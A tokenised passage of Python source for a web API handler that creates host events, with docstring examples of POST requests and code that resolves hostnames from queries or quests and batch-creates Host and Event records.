" ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "name", "\":", " ", "\"", "example", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "user", "\":", " ", "\"", "john", "ny", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "event", "Type", "Id", "\":", " ", "3", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "note", "\":", " ", "\"", "Sampl", "e", " ", "description", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "or", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "POST", " ", "/", "api", "/", "v1", "/", "events", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "name", "\":", " ", "\"", "example", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "user", "\":", " ", "\"", "john", "ny", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "category", "\":", " ", "\"", "system", "-", "rebo", "ot", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "state", "\":", " ", "\"", "complete", "d", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "note", "\":", " ", "\"", "Sampl", "e", " ", "description", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "or", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "POST", " ", "/", "api", "/", "v1", "/", "events", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "Query", "\":", " ", "\"", "tag", "=", "value", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "user", "\":", " ", "\"", "john", "ny", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "event", "Type", "Id", "\":", " ", "3", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "note", "\":", " ", "\"", "Sampl", "e", " ", "description", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "or", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "POST", " ", "/", "api", "/", "v1", "/", "events", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "quest", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "user", "\":", " ", "\"", "john", "ny", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "event", "Type", "Id", "\":", " ", "3", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "note", "\":", " ", "\"", "Sampl", "e", " ", "description", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "201", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Locat", "ion", ":", " ", "/", "api", "/", "v1", "/", "events", "/", "1", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "created", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "events", "/", "1", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "name", "\":", " ", "\"", "example", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "user", "\":", " ", "\"", "john", "ny", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "event", "Type", "Id", "\":", " ", "3", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "note", "\":", " ", "\"", "Sampl", "e", " ", "description", "\"", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "or", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "201", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Locat", "ion", ":", " ", "/", "api", "/", "v1", "/", "events", "/", "1", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "created", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "events", "\":", " ", "[{", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", "\"", "href", "\":", " ", "\"/", "api", "/", "v1", "/", "events", "/", "1", "\",", "\\", "10", ";", " ", " ", "\"", "host", "name", "\":", " ", "\"", "example", "\",", "\\", "10", ";", " ", " ", "\"", "user", "\":", " ", "\"", "john", "ny", "\",", "\\", "10", ";", " ", " ", "\"", "event", "Type", "Id", "\":", " ", "3", ",", "\\", "10", ";", " ", " ", "\"", "note", "\":", " ", "\"", "Sampl", "e", " ", "description", "\"", "\\", "10", ";", " ", " ", " ", " ", "},", "\\", "10", ";", " ", " ", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "]", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "string", " ", "host", "name", ":", " ", "(*", "option", "al", "*)", " ", "The", " ", "host", "name", " ", "of", " ", "the", " ", "Host", " ", "of", " ", "this", " ", "Event", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "hostnames", ":", " ", "(*", "option", "al", "*)", " ", "The", " ", "list", " ", "of", " ", "hostnames", " ", "for", " ", "whi", "ch", " ", "we", " ", "want", " ", "to", " ", "throw", " ", "this", " ", "Event", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "json", " ", "string", " ", "host", "Query", ":", " ", "(*", "option", "al", "*)", " ", "The", " ", "external", " ", "query", " ", "to", " ", "run", " ", "to", " ", "get", " ", "Host", "s", " ", "for", " ", "whi", "ch", " ", "to", " ", "create", " ", "Event", "s", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "int", " ", "quest", "Id", ":", " ", "(*", "option", "al", "*)", " ", "The", " ", "Quest", " ", "ID", " ", "whi", "ch", " ", "has", " ", "host", "s", " ", "for", " ", "whi", "ch", " ", "we", " ", "want", " ", "to", " ", "create", " ", "Event", "s", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "user", ":", " ", "The", " ", "user", " ", "responsib", "le", " ", "for", " ", "throw", "ing", " ", "this", " ", "Event", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "int", " ", "event", "Type", "Id", ":", " ", "The", " ", "id", " ", "of", " ", "the", " ", "Event", "Type", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "category", ":", " ", "the", " ", "category", " ", "to", " ", "use", " ", "for", " ", "the", " ", "event", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "state", ":", " ", "the", " ", "state", " ", "to", " ", "use", " ", "for", " ", "the", " ", "event", "\\", "10", ";", " ", " ", " ", " ", ":", "reg", "json", " ", "string", " ", "note", ":", " ", "(*", "option", "al", "*)", " ", "The", " ", "human", " ", "reada", "ble", " ", "note", " ", "descri", "bing", " ", "this", " ", "Event", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "req", "header", " ", "Conten", "t", "-", "Type", ":", " ", "The", " ", "server", " ", "expect", "s", " ", "a", " ", "json", " ", "body", " ", "specified", " ", "with", "\\", "10", ";", " ", " ", " ", " ", " ", " ", " ", "this", " ", "header", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "resh", "eader", " ", "Locat", "ion", ":", " ", "URL", " ", "to", " ", "the", " ", "created", " ", "resource", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "201", ":", " ", "The", " ", "Event", " ", "was", " ", "success", "full", "y", " ", "created", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "400", ":", " ", "The", " ", "request", " ", "was", " ", "mal", "formed", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "409", ":", " ", "There", " ", "was", " ", "a", " ", "confl", "ict", " ", "with", " ", "anot", "her", " ", "resource", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "need", " ", "a", " ", "unique", " ", "tx", " ", "number", " ", "so", " ", "we", " ", "can", " ", "look", " ", "these", " ", "back", " ", "up", " ", "again", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "as", " ", "well", " ", "as", " ", "for", " ", "logging_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "FIX", "ME", ":", " ", "how", " ", "can", " ", "we", " ", "guaran", "tee", " ", "unique", "ness", " ", "here", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "tx_", "=_", "int_", "(_", "time_", "._", "time_", "(_", ")_", "*_", "100000_", ")_", "+_", "random_", "._", "randrange_", "(_", "10000_", ",_", "99999_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Creat", "ing", " ", "events", "\"_", "._", "format_", "(_", "tx_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "user", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "EMA", "IL", "\\u", "REGEX_", "._", "match_", "(_", "user_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user_", "+=_", "\"@\"_", "+_", "self_", "._", "domain_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "event", "\\u", "type", "\\u", "id_", "=_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "\"", "event", "Type", "Id", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "category_", "=_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "\"", "category", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "\"", "state", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "note_", "=_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "\"", "note", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Missing", " ", "Requ", "ired", " ", "Arg", "ument", ":", " ", "{}\"_", "._", "format_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "event", "\\u", "type", "\\u", "id_", "and_", "(_", "not_", "category_", "and_", "not_", "state_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Mus", "t", " ", "speci", "fy", " ", "an", " ", "event", " ", "type", " ", "id", " ", "or", " ", "bot", "h", " ", "category", " ", "and", " ", "state", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "event", "\\u", "type", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event", "\\u", "type_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Event", "Type_", ")_", "._", "get_", "(_", "event", "\\u", "type", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "event", "\\u", "type_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Event", "Type_", ")_", "._", "filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "and\\u_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Event", "Type_", "._", "category_", "==_", "category_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Event", "Type_", "._", "state_", "==_", "state_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "one_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "event", "\\u", "type_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "write", "\\u", "error_", "(_", "400_", ",_", "message_", "=_", "\"", "Ba", "d", " ", "event", " ", "type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "category_", "=_", "event", "\\u", "type_", "._", "category_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "event", "\\u", "type_", "._", "state_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "hostnames", "_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "\"", "host", "name", "\"_", ",_", "None_", ")_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "\"", "host", "name", "\"_", ",_", "None_", ")_", "else_", "[_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\"", "hostnames", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hostnames", "_", "._", "extend_", "(_", "self_", "._", "jbo", "dy_", "._", "get_", "(_", "\"", "hostnames", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Wil", "l", " ", "create", " ", "event", " ", "{}", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tx_", ",_", "category_", ",_", "state_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Host", "names", " ", "specified", ":", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tx_", ",_", "\",", " ", "\"_", "._", "join_", "(_", "hostnames", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "a", " ", "host", " ", "query", " ", "was", " ", "specified", ",", " ", "we", " ", "need", " ", "to", " ", "talk", " ", "to", " ", "the", " ", "external_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "query", " ", "server", " ", "to", " ", "resolve", " ", "this", " ", "int", "o", " ", "a", " ", "list", " ", "of", " ", "hostnames", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\"", "host", "Query", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "host", "Query", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Run", "ning", " ", "query", " ", "{}\"_", "._", "format_", "(_", "tx_", ",_", "query_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "Plug", "in", "Helper_", "._", "request", "\\u", "get_", "(_", "params_", "=_", "{_", "\"", "query", "\"_", ":_", "query_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "status", "\"_", "]_", "==_", "\"", "ok", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hostnames", "_", "._", "extend_", "(_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "results", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "info_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Host", "names", " ", "after", " ", "query", ":", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tx_", ",_", "\",", " ", "\"_", "._", "join_", "(_", "hostnames", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "a", " ", "quest", " ", "Id", " ", "was", " ", "give", "n", ",", " ", "look", " ", "up", " ", "the", " ", "labor", "s", " ", "in", " ", "tha", "t", " ", "quest", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "all", " ", "the", " ", "hostnames", " ", "for", " ", "tho", "se", " ", "labor", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\"", "quest", "Id", "\"_", "in_", "self_", "._", "jbo", "dy_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "info_", "(_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Look", "ing", " ", "up", " ", "quest", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tx_", ",_", "self_", "._", "jbo", "dy_", "[_", "\"", "quest", "Id", "\"_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "quest_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Quest", "_", ")_", "._", "filter", "\\u", "by_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "id_", "=_", "self_", "._", "jbo", "dy_", "[_", "\"", "quest", "Id", "\"_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "scalar_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "quest_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", "(_", "\"", "No", " ", "suc", "h", " ", "Quest", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "labor", "_", "in_", "quest_", "._", "labor", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hostnames", "_", "._", "append_", "(_", "labor", "_", "._", "host_", "._", "hostname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Host", "names", " ", "after", " ", "quest", " ", "expansion", ":", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tx_", ",_", "\",", " ", "\"_", "._", "join_", "(_", "hostnames", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "need", " ", "to", " ", "create", " ", "a", " ", "list", " ", "of", " ", "hostnames", " ", "tha", "t", " ", "don", "'", "t", " ", "have", " ", "a", " ", "Host", " ", "record_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "\\u", "host", "s", "\\u", "needed_", "=_", "set_", "(_", "hostnames", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hosts_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Host_", ")_", "._", "filter_", "(_", "Host_", "._", "hostname_", "._", "in\\u_", "(_", "hostnames", "_", ")_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "host_", "in_", "hosts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "host", "s", "\\u", "needed_", "._", "remove_", "(_", "str_", "(_", "host_", "._", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "if", " ", "we", " ", "need", " ", "to", " ", "create", " ", "host", "s", ",", " ", "do", " ", "them", " ", "all", " ", "at", " ", "once_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "new", "\\u", "host", "s", "\\u", "needed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "info_", "(_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Creat", "ing", " ", "host", "s", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tx_", ",_", "\",", " ", "\"_", "._", "join_", "(_", "new", "\\u", "host", "s", "\\u", "needed_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Host_", "._", "create", "\\u", "many_", "(_", "self_", "._", "session_", ",_", "new", "\\u", "host", "s", "\\u", "needed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hosts_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Host_", ")_", "._", "filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Host_", "._", "hostname_", "._", "in\\u_", "(_", "hostnames", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "hosts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "No", " ", "host", "s", " ", "found", " ", "with", " ", "give", "n", " ", "list", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "hosts_", ")_", ">_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "we", " ", "are", " ", "supposed", " ", "to", " ", "create", " ", "many", " ", "events", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "we", " ", "want", " ", "to", " ", "do", " ", "them", " ", "as", " ", "a", " ", "gian", "t", " ", "batch_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "info_", "(_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Creat", "ing", " ", "multiple", " ", "events", "\"_", "._", "format_", "(_", "tx_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "events", "\\u", "to", "\\u", "create_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "host_", "in_", "hosts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "events", "\\u", "to", "\\u", "create_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "host", "\\u", "id", "\"_", ":_", "host_", "._", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "user", "\"_", ":_", "user_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "event", "\\u", "type", "\\u", "id", "\"_", ":_", "event", "\\u", "type_", "._", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "note", "\"_", ":_", "note_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "tx", "\"_", ":_", "tx_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Event_", "._", "create", "\\u", "many_", "(_", "self_", "._", "session_", ",_", "events", "\\u", "to", "\\u", "create_", ",_", "tx_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "we", " ", "are", " ", "just", " ", "creati", "ng", " ", "one", " ", "event", ",", " ", "do", " ", "it", " ", "the", " ", "simple", " ", "way_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "info_", "(_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Creat", "ing", " ", "1", " ", "event", "\"_", "._", "format_", "(_", "tx_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", 